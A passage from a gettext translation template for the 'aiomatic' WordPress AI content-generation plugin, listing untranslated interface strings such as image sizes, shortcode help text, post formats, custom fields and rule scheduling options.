#: res/aiomatic-spinner-list.php:1675 res/aiomatic-youtube-list.php:1676 #: res/aiomatic-youtube-list.php:4223 msgid "512x512 (only for Dall-E 2 & Stable Diffusion)" msgstr "" #: res/aiomatic-amazon-list.php:1751 res/aiomatic-amazon-list.php:4347 #: res/aiomatic-chatbot.php:3245 res/aiomatic-chatbot.php:3378 #: res/aiomatic-chatbot.php:6557 res/aiomatic-listicle-list.php:1640 #: res/aiomatic-listicle-list.php:4141 res/aiomatic-main.php:3884 #: res/aiomatic-review-list.php:1820 res/aiomatic-review-list.php:4500 #: res/aiomatic-rules-list.php:1921 res/aiomatic-rules-list.php:4708 #: res/aiomatic-single-list.php:2464 res/aiomatic-single-list.php:3667 #: res/aiomatic-single-list.php:4417 res/aiomatic-single-list.php:5670 #: res/aiomatic-single-list.php:6984 res/aiomatic-single-list.php:8350 #: res/aiomatic-spinner-list.php:1680 res/aiomatic-youtube-list.php:1677 #: res/aiomatic-youtube-list.php:4228 msgid "1024x1024" msgstr "" #: res/aiomatic-amazon-list.php:1752 res/aiomatic-amazon-list.php:4352 #: res/aiomatic-chatbot.php:3247 res/aiomatic-listicle-list.php:1641 #: res/aiomatic-listicle-list.php:4146 res/aiomatic-main.php:3886 #: res/aiomatic-review-list.php:1821 res/aiomatic-review-list.php:4505 #: res/aiomatic-rules-list.php:1922 res/aiomatic-rules-list.php:4713 #: res/aiomatic-spinner-list.php:1690 res/aiomatic-youtube-list.php:1678 #: res/aiomatic-youtube-list.php:4233 msgid "1792x1024 (only for Dall-E 3)" msgstr "" #: res/aiomatic-amazon-list.php:1753 res/aiomatic-amazon-list.php:4357 #: res/aiomatic-chatbot.php:3246 res/aiomatic-listicle-list.php:1642 #: res/aiomatic-listicle-list.php:4151 res/aiomatic-main.php:3885 #: res/aiomatic-review-list.php:1822 res/aiomatic-review-list.php:4510 #: res/aiomatic-rules-list.php:1923 res/aiomatic-rules-list.php:4718 #: res/aiomatic-spinner-list.php:1685 res/aiomatic-youtube-list.php:1679 #: res/aiomatic-youtube-list.php:4238 msgid "1024x1792 (only for Dall-E 3)" msgstr "" #: res/aiomatic-amazon-list.php:1762 res/aiomatic-amazon-list.php:4362 #: res/aiomatic-listicle-list.php:1651 res/aiomatic-listicle-list.php:4156 #: res/aiomatic-review-list.php:1831 res/aiomatic-review-list.php:4515 #: res/aiomatic-rules-list.php:1932 res/aiomatic-rules-list.php:4723 #: res/aiomatic-youtube-list.php:1688 res/aiomatic-youtube-list.php:4243 #, php-format msgid "" "Insert a comma separated list of links to valid images that will be set " "randomly for the featured image for the posts that do not have a valid image " "attached or if you disabled automatical featured image generator. You can " "also use image numeric IDs from images found in the Media Gallery. To " "disable this feature, leave this field blank. Spintax supported. You can " "also use the %%random_image[keyword]%% shortcode to automatically import a " "random image from Google Image Search with the Creative Commons filter " "applied. To get a related image, you can also use: " "%%random_image[%%post_title%%]%%" msgstr "" #: res/aiomatic-amazon-list.php:1766 res/aiomatic-listicle-list.php:1655 #: res/aiomatic-review-list.php:1835 res/aiomatic-rules-list.php:1936 #: res/aiomatic-spinner-list.php:1734 res/aiomatic-youtube-list.php:1692 msgid "Default Featured Image List:" msgstr "" #: res/aiomatic-amazon-list.php:1774 res/aiomatic-amazon-list.php:4370 #: res/aiomatic-csv-list.php:217 res/aiomatic-csv-list.php:1345 #: res/aiomatic-listicle-list.php:1663 res/aiomatic-listicle-list.php:4164 #: res/aiomatic-review-list.php:1843 res/aiomatic-review-list.php:4523 #: res/aiomatic-rules-list.php:1944 res/aiomatic-rules-list.php:4731 #: res/aiomatic-single-list.php:1009 res/aiomatic-single-list.php:1211 #: res/aiomatic-single-list.php:2469 res/aiomatic-single-list.php:3672 #: res/aiomatic-single-list.php:4422 res/aiomatic-single-list.php:4638 #: res/aiomatic-single-list.php:5675 res/aiomatic-single-list.php:6989 #: res/aiomatic-single-list.php:8355 res/aiomatic-youtube-list.php:413 #: res/aiomatic-youtube-list.php:1700 res/aiomatic-youtube-list.php:2983 #: res/aiomatic-youtube-list.php:4251 msgid "Posting Options" msgstr "" #: res/aiomatic-amazon-list.php:1781 res/aiomatic-amazon-list.php:4374 #: res/aiomatic-single-list.php:6996 msgid "" "Enter a HTML text that should be prepended to the AI generated content in " "each created post. You can use the following shortcodes: %%custom_html%%, %" "%custom_html2%%, %%search_keywords%%, %%all_product_titles%%, %" "%all_product_info%%, %%language%%, %%writing_style%%, %%writing_tone%%, %" "%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%" "%, %%random_image[keyword]%%, %%random_image_url[keyword]%%, %" "%random_video[keyword]%%, %%royalty_free_image_attribution%% - you can also " "use an optional parameter in the random_image and random_video shortcodes, " "which will add a percentage chance for the media to appear or not - example: " "%%random_video[keyword][60]%% - a video will appear in 60% of cases, in the " "rest of 40%, nothing will be returned by the shortcode - Update: %" "%related_questions_KEYWORD%% is also supported, to get a list of PAA " "questions for the KEYWORD you want to use. Update: nested shortcodes also " "supported (shortcodes generated by rules from other plugins). You will also " "be able to use the custom shortcodes defined in the 'Custom Shortcode " "Creator' feature from the rule settings - this will allow you to create " "partially or fully AI generated prompts which will be used for the content " "generators." msgstr "" #: res/aiomatic-amazon-list.php:1785 res/aiomatic-listicle-list.php:1674 #: res/aiomatic-review-list.php:1854 res/aiomatic-rules-list.php:1955 #: res/aiomatic-single-list.php:2480 res/aiomatic-single-list.php:3683 #: res/aiomatic-single-list.php:4433 res/aiomatic-single-list.php:5686 #: res/aiomatic-single-list.php:7000 res/aiomatic-single-list.php:8366 #: res/aiomatic-youtube-list.php:1711 msgid "HTML Text To Prepend To AI Created Content:" msgstr "" #: res/aiomatic-amazon-list.php:1796 res/aiomatic-single-list.php:7011 msgid "" "Enter a HTML text that should be appended to the AI generated content in " "each created post. You can use the following shortcodes: %%custom_html%%, %" "%custom_html2%%, %%search_keywords%%, %%all_product_titles%%, %" "%all_product_info%%, %%language%%, %%writing_style%%, %%writing_tone%%, %" "%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%" "%, %%random_image[keyword]%%, %%random_image_url[keyword]%%, %" "%random_video[keyword]%%, %%royalty_free_image_attribution%% - you can also " "use an optional parameter in the random_image and random_video shortcodes, " "which will add a percentage chance for the media to appear or not - example: " "%%random_video[keyword][60]%% - a video will appear in 60% of cases, in the " "rest of 40%, nothing will be returned by the shortcode - Update: %" "%related_questions_KEYWORD%% is also supported, to get a list of PAA " "questions for the KEYWORD you want to use. Update: nested shortcodes also " "supported (shortcodes generated by rules from other plugins). You will also " "be able to use the custom shortcodes defined in the 'Custom Shortcode " "Creator' feature from the rule settings - this will allow you to create " "partially or fully AI generated prompts which will be used for the content " "generators." msgstr "" #: res/aiomatic-amazon-list.php:1800 res/aiomatic-listicle-list.php:1689 #: res/aiomatic-review-list.php:1869 res/aiomatic-rules-list.php:1970 #: res/aiomatic-single-list.php:2495 res/aiomatic-single-list.php:3698 #: res/aiomatic-single-list.php:4448 res/aiomatic-single-list.php:5701 #: res/aiomatic-single-list.php:7015 res/aiomatic-single-list.php:8381 #: res/aiomatic-youtube-list.php:1726 msgid "HTML Text To Append To AI Created Content:" msgstr "" #: res/aiomatic-amazon-list.php:1811 res/aiomatic-amazon-list.php:4394 #: res/aiomatic-listicle-list.php:1700 res/aiomatic-listicle-list.php:4188 #: res/aiomatic-review-list.php:1880 res/aiomatic-review-list.php:4547 #: res/aiomatic-rules-list.php:1981 res/aiomatic-rules-list.php:4755 #: res/aiomatic-single-list.php:2506 res/aiomatic-single-list.php:3709 #: res/aiomatic-single-list.php:4459 res/aiomatic-single-list.php:5712 #: res/aiomatic-single-list.php:7026 res/aiomatic-single-list.php:8392 #: res/aiomatic-youtube-list.php:1737 res/aiomatic-youtube-list.php:4275 #, php-format msgid "" "Custom AI generated content shortcode creator. If you wish to create content " "from multiple AI prompts, and use them in post content/post custom fields/" "taxonomies, you can configure this from here. Also, these shortcodes will be " "able to be used in custom fields or custom taxonomies which the plugin will " "create. Syntax for this field: shortcode_name => AI_MODEL_TO_USE @@ " "TEXTUAL_PROMPT_TO_USE (to specify multiple shortcodes and crawling values, " "separate them by a new line. Example: my_custom_shortcode => gpt-3.5-turbo-" "instruct @@ Write a short poem. Afterwards, you can use shortcodes in any " "settings field that supports shortcodes (ex: 'HTML Text To Append To AI " "Created Content' settings field), like this: %%my_custom_shortcode%%. " "Official format is %%name_of_custom_shortcode%%" msgstr "" #: res/aiomatic-amazon-list.php:1815 res/aiomatic-listicle-list.php:1704 #: res/aiomatic-review-list.php:1884 res/aiomatic-rules-list.php:1985 #: res/aiomatic-single-list.php:2510 res/aiomatic-single-list.php:3713 #: res/aiomatic-single-list.php:4463 res/aiomatic-single-list.php:5716 #: res/aiomatic-single-list.php:7030 res/aiomatic-single-list.php:8396 #: res/aiomatic-youtube-list.php:1741 msgid "Custom Shortcode Creator (Optional):" msgstr "" #: res/aiomatic-amazon-list.php:1826 res/aiomatic-csv-list.php:224 #: res/aiomatic-listicle-list.php:1715 res/aiomatic-review-list.php:1895 #: res/aiomatic-rules-list.php:1996 res/aiomatic-single-list.php:1218 #: res/aiomatic-single-list.php:2521 res/aiomatic-single-list.php:3724 #: res/aiomatic-single-list.php:4474 res/aiomatic-single-list.php:5727 #: res/aiomatic-single-list.php:7041 res/aiomatic-single-list.php:8407 #: res/aiomatic-youtube-list.php:1752 msgid "" "The AI writer might add the title of the post to the created post content. " "Check this checkbox if you want to remove the title from the post content." msgstr "" #: res/aiomatic-amazon-list.php:1830 res/aiomatic-csv-list.php:228 #: res/aiomatic-listicle-list.php:1719 res/aiomatic-review-list.php:1899 #: res/aiomatic-rules-list.php:2000 res/aiomatic-single-list.php:1222 #: res/aiomatic-single-list.php:2525 res/aiomatic-single-list.php:3728 #: res/aiomatic-single-list.php:4478 res/aiomatic-single-list.php:5731 #: res/aiomatic-single-list.php:7045 res/aiomatic-single-list.php:8411 #: res/aiomatic-youtube-list.php:1756 msgid "Strip Title From Content:" msgstr "" #: res/aiomatic-amazon-list.php:1839 res/aiomatic-amazon-list.php:4421 #: res/aiomatic-csv-list.php:237 res/aiomatic-csv-list.php:1366 #: res/aiomatic-listicle-list.php:1728 res/aiomatic-listicle-list.php:4215 #: res/aiomatic-review-list.php:1908 res/aiomatic-review-list.php:4574 #: res/aiomatic-rules-list.php:2009 res/aiomatic-rules-list.php:4782 #: res/aiomatic-single-list.php:1231 res/aiomatic-single-list.php:2534 #: res/aiomatic-single-list.php:3737 res/aiomatic-single-list.php:4487 #: res/aiomatic-single-list.php:5740 res/aiomatic-single-list.php:7054 #: res/aiomatic-single-list.php:8420 res/aiomatic-youtube-list.php:1765 #: res/aiomatic-youtube-list.php:4302 msgid "Do you want to skip spinning of posts generated by this rule?" msgstr "" #: res/aiomatic-amazon-list.php:1842 res/aiomatic-csv-list.php:240 #: res/aiomatic-listicle-list.php:1731 res/aiomatic-review-list.php:1911 #: res/aiomatic-rules-list.php:2012 res/aiomatic-single-list.php:1234 #: res/aiomatic-single-list.php:2537 res/aiomatic-single-list.php:3740 #: res/aiomatic-single-list.php:4490 res/aiomatic-single-list.php:5743 #: res/aiomatic-single-list.php:7057 res/aiomatic-single-list.php:8423 #: res/aiomatic-youtube-list.php:1768 msgid "Do Not Spin Posts Generated By This Rule:" msgstr "" #: res/aiomatic-amazon-list.php:1851 res/aiomatic-amazon-list.php:4437 #: res/aiomatic-csv-list.php:249 res/aiomatic-csv-list.php:1382 #: res/aiomatic-listicle-list.php:1740 res/aiomatic-listicle-list.php:4231 #: res/aiomatic-review-list.php:1920 res/aiomatic-review-list.php:4590 #: res/aiomatic-rules-list.php:2021 res/aiomatic-rules-list.php:4798 #: res/aiomatic-single-list.php:1243 res/aiomatic-single-list.php:2546 #: res/aiomatic-single-list.php:3749 res/aiomatic-single-list.php:4499 #: res/aiomatic-single-list.php:5752 res/aiomatic-single-list.php:7066 #: res/aiomatic-single-list.php:8432 res/aiomatic-youtube-list.php:1777 #: res/aiomatic-youtube-list.php:4318 msgid "Do you want to skip translating of posts generated by this rule?" msgstr "" #: res/aiomatic-amazon-list.php:1854 res/aiomatic-csv-list.php:252 #: res/aiomatic-listicle-list.php:1743 res/aiomatic-review-list.php:1923 #: res/aiomatic-rules-list.php:2024 res/aiomatic-single-list.php:1246 #: res/aiomatic-single-list.php:2549 res/aiomatic-single-list.php:3752 #: res/aiomatic-single-list.php:4502 res/aiomatic-single-list.php:5755 #: res/aiomatic-single-list.php:7069 res/aiomatic-single-list.php:8435 #: res/aiomatic-youtube-list.php:1780 msgid "Do Not Translate Posts Generated By This Rule:" msgstr "" #: res/aiomatic-amazon-list.php:1865 res/aiomatic-amazon-list.php:4453 #: res/aiomatic-csv-list.php:278 res/aiomatic-csv-list.php:1415 #: res/aiomatic-listicle-list.php:1754 res/aiomatic-listicle-list.php:4247 #: res/aiomatic-review-list.php:1934 res/aiomatic-review-list.php:4606 #: res/aiomatic-rules-list.php:2035 res/aiomatic-rules-list.php:4814 #: res/aiomatic-youtube-list.php:1791 res/aiomatic-youtube-list.php:4334 msgid "Select if you want to process each title from the added list only once." msgstr "" #: res/aiomatic-amazon-list.php:1869 res/aiomatic-review-list.php:1938 msgid "Process Each Title/Keyword Only Once:" msgstr "" #: res/aiomatic-amazon-list.php:1884 res/aiomatic-csv-list.php:297 #: res/aiomatic-listicle-list.php:1773 res/aiomatic-review-list.php:1953 #: res/aiomatic-rules-list.php:2054 res/aiomatic-youtube-list.php:1810 msgid "Overwrite Existing Posts:" msgstr "" #: res/aiomatic-amazon-list.php:1899 res/aiomatic-csv-list.php:312 #: res/aiomatic-listicle-list.php:1788 res/aiomatic-review-list.php:1968 #: res/aiomatic-rules-list.php:2069 res/aiomatic-single-list.php:1276 #: res/aiomatic-single-list.php:2564 res/aiomatic-single-list.php:3767 #: res/aiomatic-single-list.php:4517 res/aiomatic-single-list.php:5785 #: res/aiomatic-single-list.php:7084 res/aiomatic-single-list.php:8450 #: res/aiomatic-youtube-list.php:1840 msgid "Run Regex On Content:" msgstr "" #: res/aiomatic-amazon-list.php:1914 res/aiomatic-csv-list.php:327 #: res/aiomatic-listicle-list.php:1803 res/aiomatic-review-list.php:1983 #: res/aiomatic-rules-list.php:2084 res/aiomatic-single-list.php:1291 #: res/aiomatic-single-list.php:2579 res/aiomatic-single-list.php:3782 #: res/aiomatic-single-list.php:4532 res/aiomatic-single-list.php:5800 #: res/aiomatic-single-list.php:7099 res/aiomatic-single-list.php:8465 #: res/aiomatic-youtube-list.php:1855 msgid "Replace Matches From Regex (Content):" msgstr "" #: res/aiomatic-amazon-list.php:1925 res/aiomatic-amazon-list.php:4511 #: res/aiomatic-csv-list.php:338 res/aiomatic-csv-list.php:1473 #: res/aiomatic-listicle-list.php:1814 res/aiomatic-listicle-list.php:4305 #: res/aiomatic-review-list.php:1994 res/aiomatic-review-list.php:4664 #: res/aiomatic-rules-list.php:2095 res/aiomatic-rules-list.php:4872 #: res/aiomatic-youtube-list.php:1866 res/aiomatic-youtube-list.php:4409 msgid "" "Select the author that you want to assign for the automatically generated " "posts." msgstr "" #: res/aiomatic-amazon-list.php:1929 res/aiomatic-csv-list.php:342 #: res/aiomatic-listicle-list.php:1818 res/aiomatic-review-list.php:1998 #: res/aiomatic-rules-list.php:2099 res/aiomatic-youtube-list.php:1870 msgid "Post Author:" msgstr "" #: res/aiomatic-amazon-list.php:1933 res/aiomatic-amazon-list.php:4521 #: res/aiomatic-csv-list.php:346 res/aiomatic-csv-list.php:1483 #: res/aiomatic-listicle-list.php:1822 res/aiomatic-listicle-list.php:4315 #: res/aiomatic-review-list.php:2002 res/aiomatic-review-list.php:4674 #: res/aiomatic-rules-list.php:2103 res/aiomatic-rules-list.php:4882 #: res/aiomatic-youtube-list.php:1874 res/aiomatic-youtube-list.php:4419 msgid "Random user" msgstr "" #: res/aiomatic-amazon-list.php:1953 res/aiomatic-csv-list.php:366 #: res/aiomatic-embeddings.php:506 res/aiomatic-listicle-list.php:1842 #: res/aiomatic-review-list.php:2022 res/aiomatic-rules-list.php:2123 #: res/aiomatic-spinner-list.php:5464 res/aiomatic-youtube-list.php:1894 msgid "Post Status:" msgstr "" #: res/aiomatic-amazon-list.php:1974 res/aiomatic-csv-list.php:387 #: res/aiomatic-listicle-list.php:1863 res/aiomatic-review-list.php:2043 #: res/aiomatic-rules-list.php:2144 res/aiomatic-youtube-list.php:1915 msgid "Item Type:" msgstr "" #: res/aiomatic-amazon-list.php:2006 res/aiomatic-csv-list.php:419 #: res/aiomatic-listicle-list.php:1895 res/aiomatic-review-list.php:2075 #: res/aiomatic-rules-list.php:2176 res/aiomatic-youtube-list.php:1947 msgid "Generated Post Format:" msgstr "" #: res/aiomatic-amazon-list.php:2010 res/aiomatic-amazon-list.php:4603 #: res/aiomatic-csv-list.php:423 res/aiomatic-csv-list.php:1565 #: res/aiomatic-listicle-list.php:1899 res/aiomatic-listicle-list.php:4397 #: res/aiomatic-review-list.php:2079 res/aiomatic-review-list.php:4756 #: res/aiomatic-rules-list.php:2180 res/aiomatic-rules-list.php:4964 #: res/aiomatic-youtube-list.php:1951 res/aiomatic-youtube-list.php:4501 msgid "Standard" msgstr "" #: res/aiomatic-amazon-list.php:2011 res/aiomatic-amazon-list.php:4608 #: res/aiomatic-csv-list.php:424 res/aiomatic-csv-list.php:1570 #: res/aiomatic-listicle-list.php:1900 res/aiomatic-listicle-list.php:4402 #: res/aiomatic-review-list.php:2080 res/aiomatic-review-list.php:4761 #: res/aiomatic-rules-list.php:2181 res/aiomatic-rules-list.php:4969 #: res/aiomatic-youtube-list.php:1952 res/aiomatic-youtube-list.php:4506 msgid "Aside" msgstr "" #: res/aiomatic-amazon-list.php:2012 res/aiomatic-amazon-list.php:4613 #: res/aiomatic-csv-list.php:425 res/aiomatic-csv-list.php:1575 #: res/aiomatic-listicle-list.php:1901 res/aiomatic-listicle-list.php:4407 #: res/aiomatic-review-list.php:2081 res/aiomatic-review-list.php:4766 #: res/aiomatic-rules-list.php:2182 res/aiomatic-rules-list.php:4974 #: res/aiomatic-youtube-list.php:1953 res/aiomatic-youtube-list.php:4511 msgid "Gallery" msgstr "" #: res/aiomatic-amazon-list.php:2013 res/aiomatic-amazon-list.php:4618 #: res/aiomatic-csv-list.php:426 res/aiomatic-csv-list.php:1580 #: res/aiomatic-listicle-list.php:1902 res/aiomatic-listicle-list.php:4412 #: res/aiomatic-review-list.php:2082 res/aiomatic-review-list.php:4771 #: res/aiomatic-rules-list.php:2183 res/aiomatic-rules-list.php:4979 #: res/aiomatic-youtube-list.php:1954 res/aiomatic-youtube-list.php:4516 msgid "Link" msgstr "" #: res/aiomatic-amazon-list.php:2014 res/aiomatic-amazon-list.php:4623 #: res/aiomatic-csv-list.php:427 res/aiomatic-csv-list.php:1585 #: res/aiomatic-listicle-list.php:1903 res/aiomatic-listicle-list.php:4417 #: res/aiomatic-main.php:3816 res/aiomatic-main.php:10631 #: res/aiomatic-review-list.php:2083 res/aiomatic-review-list.php:4776 #: res/aiomatic-rules-list.php:2184 res/aiomatic-rules-list.php:4984 #: res/aiomatic-youtube-list.php:1955 res/aiomatic-youtube-list.php:4521 msgid "Image" msgstr "" #: res/aiomatic-amazon-list.php:2015 res/aiomatic-amazon-list.php:4628 #: res/aiomatic-csv-list.php:428 res/aiomatic-csv-list.php:1590 #: res/aiomatic-listicle-list.php:1904 res/aiomatic-listicle-list.php:4422 #: res/aiomatic-review-list.php:2084 res/aiomatic-review-list.php:4781 #: res/aiomatic-rules-list.php:2185 res/aiomatic-rules-list.php:4989 #: res/aiomatic-youtube-list.php:1956 res/aiomatic-youtube-list.php:4526 msgid "Quote" msgstr "" #: res/aiomatic-amazon-list.php:2016 res/aiomatic-amazon-list.php:4633 #: res/aiomatic-assistants.php:165 res/aiomatic-batch.php:245 #: res/aiomatic-batch.php:306 res/aiomatic-batch.php:531 #: res/aiomatic-csv-list.php:429 res/aiomatic-csv-list.php:1595 #: res/aiomatic-listicle-list.php:1905 res/aiomatic-listicle-list.php:4427 #: res/aiomatic-review-list.php:2085 res/aiomatic-review-list.php:4786 #: res/aiomatic-rules-list.php:2186 res/aiomatic-rules-list.php:4994 #: res/aiomatic-single-list.php:591 res/aiomatic-single-list.php:8609 #: res/aiomatic-training.php:532 res/aiomatic-youtube-list.php:1957 #: res/aiomatic-youtube-list.php:4531 msgid "Status" msgstr "" #: res/aiomatic-amazon-list.php:2017 res/aiomatic-amazon-list.php:4638 #: res/aiomatic-csv-list.php:430 res/aiomatic-csv-list.php:1600 #: res/aiomatic-listicle-list.php:1906 res/aiomatic-listicle-list.php:4432 #: res/aiomatic-review-list.php:2086 res/aiomatic-review-list.php:4791 #: res/aiomatic-rules-list.php:2187 res/aiomatic-rules-list.php:4999 #: res/aiomatic-youtube-list.php:1958 res/aiomatic-youtube-list.php:4536 msgid "Video" msgstr "" #: res/aiomatic-amazon-list.php:2018 res/aiomatic-amazon-list.php:4643 #: res/aiomatic-csv-list.php:431 res/aiomatic-csv-list.php:1605 #: res/aiomatic-listicle-list.php:1907 res/aiomatic-listicle-list.php:4437 #: res/aiomatic-review-list.php:2087 res/aiomatic-review-list.php:4796 #: res/aiomatic-rules-list.php:2188 res/aiomatic-rules-list.php:5004 #: res/aiomatic-youtube-list.php:1959 res/aiomatic-youtube-list.php:4541 msgid "Audio" msgstr "" #: res/aiomatic-amazon-list.php:2019 res/aiomatic-amazon-list.php:4648 #: res/aiomatic-csv-list.php:432 res/aiomatic-csv-list.php:1610 #: res/aiomatic-listicle-list.php:1908 res/aiomatic-listicle-list.php:4442 #: res/aiomatic-review-list.php:2088 res/aiomatic-review-list.php:4801 #: res/aiomatic-rules-list.php:2189 res/aiomatic-rules-list.php:5009 #: res/aiomatic-youtube-list.php:1960 res/aiomatic-youtube-list.php:4546 msgid "Chat" msgstr "" #: res/aiomatic-amazon-list.php:2033 res/aiomatic-csv-list.php:446 #: res/aiomatic-listicle-list.php:1922 res/aiomatic-review-list.php:2102 #: res/aiomatic-rules-list.php:2203 res/aiomatic-youtube-list.php:1974 msgid "Post Parent ID:" msgstr "" #: res/aiomatic-amazon-list.php:2048 res/aiomatic-csv-list.php:476 #: res/aiomatic-listicle-list.php:1937 res/aiomatic-review-list.php:2117 #: res/aiomatic-rules-list.php:2218 res/aiomatic-youtube-list.php:1989 msgid "Enable Comments For Posts:" msgstr "" #: res/aiomatic-amazon-list.php:2063 res/aiomatic-csv-list.php:491 #: res/aiomatic-listicle-list.php:1952 res/aiomatic-review-list.php:2132 #: res/aiomatic-rules-list.php:2233 res/aiomatic-youtube-list.php:2004 msgid "Enable Pingback/Trackback:" msgstr "" #: res/aiomatic-amazon-list.php:2074 res/aiomatic-amazon-list.php:4698 #: res/aiomatic-csv-list.php:502 res/aiomatic-csv-list.php:1677 #: res/aiomatic-listicle-list.php:1963 res/aiomatic-listicle-list.php:4492 #: res/aiomatic-review-list.php:2143 res/aiomatic-review-list.php:4851 #: res/aiomatic-rules-list.php:2244 res/aiomatic-rules-list.php:5060 #: res/aiomatic-youtube-list.php:2015 res/aiomatic-youtube-list.php:4596 #, php-format msgid "" "Do you want to set a custom post publish date for posts? Set the range in " "the below field Accepted values for this field are listed: here. To disable this feature, leave this field blank." msgstr "" #: res/aiomatic-amazon-list.php:2078 res/aiomatic-csv-list.php:506 #: res/aiomatic-listicle-list.php:1967 res/aiomatic-review-list.php:2147 #: res/aiomatic-rules-list.php:2248 res/aiomatic-youtube-list.php:2019 msgid "Set a Custom Post Publish Date Range:" msgstr "" #: res/aiomatic-amazon-list.php:2089 res/aiomatic-amazon-list.php:4709 #: res/aiomatic-review-list.php:2158 res/aiomatic-review-list.php:4862 #: res/aiomatic-youtube-list.php:2030 res/aiomatic-youtube-list.php:4607 #, php-format msgid "" "Set the custom fields that will be set for generated posts. The syntax for " "this field is the following: custom_field_name1 => custom_field_value1, " "custom_field_name2 => custom_field_value2, ... . You will also be able to " "use the custom shortcodes defined in the 'Custom Shortcode Creator' feature " "from the rule settings - this will allow you to create partially or fully AI " "generated prompts which will be used for the content generators. You can " "also use the following topic based shortcodes: %%post_title%%, " "%%random_sentence%%, %%random_sentence2%%, %%blog_title%%" msgstr "" #: res/aiomatic-amazon-list.php:2093 res/aiomatic-csv-list.php:521 #: res/aiomatic-listicle-list.php:1982 res/aiomatic-review-list.php:2162 #: res/aiomatic-rules-list.php:2263 res/aiomatic-youtube-list.php:2034 msgid "Post Custom Fields:" msgstr "" #: res/aiomatic-amazon-list.php:2104 res/aiomatic-amazon-list.php:4721 #: res/aiomatic-review-list.php:2173 res/aiomatic-review-list.php:4874 #: res/aiomatic-youtube-list.php:2045 res/aiomatic-youtube-list.php:4619 #, php-format msgid "" "Set the custom taxonomies that will be set for generated posts. The syntax " "for this field is the following: custom_taxonomy_name1 => " "custom_taxonomy_value1A, custom_taxonomy_value1B; custom_taxonomy_name2 => " "custom_taxonomy_value2A, custom_taxonomy_value2B; ... . You can also set " "hierarhical taxonomies (parent > child), in this format: " "custom_taxonomy_name => parent1 > child1 . You will also be able to use the " "custom shortcodes defined in the 'Custom Shortcode Creator' feature from the " "rule settings - this will allow you to create partially or fully AI " "generated prompts which will be used for the content generators. You can " "also use the following topic based shortcodes: %%post_title%%, " "%%random_sentence%%, %%random_sentence2%%, %%blog_title%%" msgstr "" #: res/aiomatic-amazon-list.php:2108 res/aiomatic-csv-list.php:536 #: res/aiomatic-listicle-list.php:1997 res/aiomatic-review-list.php:2177 #: res/aiomatic-rules-list.php:2278 res/aiomatic-youtube-list.php:2049 msgid "Post Custom Taxonomies:" msgstr "" #: res/aiomatic-amazon-list.php:2124 res/aiomatic-csv-list.php:552 #: res/aiomatic-listicle-list.php:2013 res/aiomatic-review-list.php:2193 #: res/aiomatic-rules-list.php:2294 res/aiomatic-youtube-list.php:2065 msgid "Assign WPML/Polylang Language to Posts:" msgstr "" #: res/aiomatic-amazon-list.php:2131 res/aiomatic-amazon-list.php:4741 #: res/aiomatic-automation-list.php:5064 res/aiomatic-automation-list.php:7981 #: res/aiomatic-csv-list.php:642 res/aiomatic-csv-list.php:1803 #: res/aiomatic-listicle-list.php:2020 res/aiomatic-listicle-list.php:4535 #: res/aiomatic-review-list.php:2200 res/aiomatic-review-list.php:4894 #: res/aiomatic-rules-list.php:2301 res/aiomatic-rules-list.php:5103 #: res/aiomatic-youtube-list.php:2072 res/aiomatic-youtube-list.php:4639 msgid "Scheduling Restrictions" msgstr "" #: res/aiomatic-amazon-list.php:2138 res/aiomatic-amazon-list.php:4744 #: res/aiomatic-automation-list.php:5070 res/aiomatic-automation-list.php:7984 #: res/aiomatic-csv-list.php:649 res/aiomatic-csv-list.php:1806 #: res/aiomatic-listicle-list.php:2027 res/aiomatic-listicle-list.php:4538 #: res/aiomatic-review-list.php:2207 res/aiomatic-review-list.php:4897 #: res/aiomatic-rules-list.php:2308 res/aiomatic-rules-list.php:5106 #: res/aiomatic-youtube-list.php:2079 res/aiomatic-youtube-list.php:4642 msgid "" "Select the days of the week when you don't want to run this rule. You can " "enter a comma separate list of day names." msgstr "" #: res/aiomatic-amazon-list.php:2142 res/aiomatic-automation-list.php:5074 #: res/aiomatic-csv-list.php:653 res/aiomatic-listicle-list.php:2031 #: res/aiomatic-review-list.php:2211 res/aiomatic-rules-list.php:2312 #: res/aiomatic-youtube-list.php:2083 msgid "Do Not Run This Rule On The Following Days Of The Week:" msgstr "" #: res/aiomatic-amazon-list.php:2143 res/aiomatic-amazon-list.php:4748 #: res/aiomatic-automation-list.php:5075 res/aiomatic-automation-list.php:7988 #: res/aiomatic-csv-list.php:654 res/aiomatic-csv-list.php:1810 #: res/aiomatic-listicle-list.php:2032 res/aiomatic-listicle-list.php:4542 #: res/aiomatic-review-list.php:2212 res/aiomatic-review-list.php:4901 #: res/aiomatic-rules-list.php:2313 res/aiomatic-rules-list.php:5110 #: res/aiomatic-youtube-list.php:2084 res/aiomatic-youtube-list.php:4646 msgid "Current Server Time:" msgstr "" #: res/aiomatic-amazon-list.php:2170 res/aiomatic-automation-list.php:5102 #: res/aiomatic-csv-list.php:681 res/aiomatic-listicle-list.php:2059 #: res/aiomatic-review-list.php:2239 res/aiomatic-rules-list.php:2340 #: res/aiomatic-youtube-list.php:2111 msgid "No info." msgstr "" #: res/aiomatic-amazon-list.php:2182 res/aiomatic-amazon-list.php:4890 #: res/aiomatic-automation-list.php:5114 res/aiomatic-automation-list.php:8131 #: res/aiomatic-csv-list.php:693 res/aiomatic-csv-list.php:1953 #: res/aiomatic-embeddings.php:271 res/aiomatic-listicle-list.php:2071 #: res/aiomatic-listicle-list.php:4685 res/aiomatic-main.php:6324 #: res/aiomatic-review-list.php:2251 res/aiomatic-review-list.php:5043 #: res/aiomatic-rules-list.php:2352 res/aiomatic-rules-list.php:5253 #: res/aiomatic-spinner-list.php:5058 res/aiomatic-youtube-list.php:2123 #: res/aiomatic-youtube-list.php:4788 msgid "Select an Action" msgstr "" #: res/aiomatic-amazon-list.php:2183 res/aiomatic-amazon-list.php:4891 #: res/aiomatic-automation-list.php:5115 res/aiomatic-automation-list.php:8132 #: res/aiomatic-csv-list.php:694 res/aiomatic-csv-list.php:1954 #: res/aiomatic-listicle-list.php:2072 res/aiomatic-listicle-list.php:4686 #: res/aiomatic-review-list.php:2252 res/aiomatic-review-list.php:5044 #: res/aiomatic-rules-list.php:2353 res/aiomatic-rules-list.php:5254 #: res/aiomatic-youtube-list.php:2124 res/aiomatic-youtube-list.php:4789 msgid "Run This Rule Now" msgstr "" #: res/aiomatic-amazon-list.php:2184 res/aiomatic-amazon-list.php:4892 #: res/aiomatic-automation-list.php:5117 res/aiomatic-automation-list.php:8134 #: res/aiomatic-csv-list.php:695 